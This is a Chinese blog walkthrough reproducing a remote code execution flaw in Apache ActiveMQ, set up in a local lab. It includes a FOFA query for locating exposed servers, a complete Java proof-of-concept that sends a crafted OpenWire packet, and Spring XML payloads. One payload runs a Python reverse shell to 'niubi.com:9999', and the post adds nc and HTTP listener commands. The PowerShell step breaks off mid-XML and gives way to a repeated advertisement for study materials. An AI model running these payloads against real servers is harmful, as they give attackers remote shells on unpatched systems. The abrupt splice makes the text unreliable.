Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
fofa语法:
app="APACHE-ActiveMQ" && port="61616"
2.环境搭建
这里我是在本地进行复现的,使用了kali 和win10
安装ActiveMQ
访问:https://activemq.apache.org/
,随便下载一个存在漏洞的版本
这里我下载的是apache-activemq-5.15.10版本
解压进入bin目录
使用:
activemq start #启动
访问http://127.0.0.1:8161
可以看到环境启动成功
3.漏洞复现
访问:https://github.com/sincere9/Apache-ActiveMQ-RCE/tree/main/exp
下载之后进入/exp文件夹,看到ActiveMQ.java, 进行修改自己的IP地址, win10:192.168.2.129
,kali192.168.2.131
import java.io.*;
import java.net.Socket;
public class ActiveMQ {
public static void main(final String[] args) throws Exception {
System.out.println("[*] Poc for ActiveMQ openwire protocol rce");
String ip = "192.168.2.129";
int port = 61616;
String pocxml= "http://192.168.2.131:8000/poc.xml";
Socket sck = new Socket(ip, port);
OutputStream os = sck.getOutputStream();
DataOutputStream out = new DataOutputStream(os);
out.writeInt(0); //无所谓
out.writeByte(31); //dataType ExceptionResponseMarshaller
out.writeInt(1); //CommandId
out.writeBoolean(true); //ResponseRequired
out.writeInt(1); //CorrelationId
out.writeBoolean(true);
//use true -> red utf-8 string
out.writeBoolean(true);
out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
//use true -> red utf-8 string
out.writeBoolean(true);
out.writeUTF(pocxml);
//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce
out.close();
os.close();
sck.close();
System.out.println("[*] Target\t" + ip + ":" + port);
System.out.println("[*] XML address\t" + pocxml);
System.out.println("[*] Payload send success.");
}
}
之后修改xml文件:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>python</value>
<value>-c</value>
<value><![CDATA[import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("niubi.com",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后启动命令
python3 -m http.server 8000 #启动http监听
nc -lvvp 9999 #监听端口
javac ActiveMQ.java #编译
java ActiveMQ #运行
但是此处确实调用了poc.xml文件却没有反弹shell
于是看看ping dnslog试试
修改xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>ping</value>
<value>t1298j.dnslog.cn</value>
</list>
</constructor-arg>
</bean>
</beans>
此处看到DNSlog平台确实有回显,证明执行了命令
于是想办法反弹shell ,想到windows反弹shell 命令可能不同,于是用powershell方式反弹shell
修改poc.xml文件:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
## 最后
**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/e116d8869a940c76ba67792d6f62b5da.png)
![img](https://img-blog.csdnimg.cn/img_convert/dfbc8f2f3243748603ebf09c9c699971.png)
![img](https://img-blog.csdnimg.cn/img_convert/c6e3167dda990a95640a54b66724e7a2.png)
![img](https://img-blog.csdnimg.cn/img_convert/8ff468be241996bd66ed13da16486219.png)
![img](https://img-blog.csdnimg.cn/img_convert/f3f94a83be6dfc56be59794b0b301f97.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**
深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**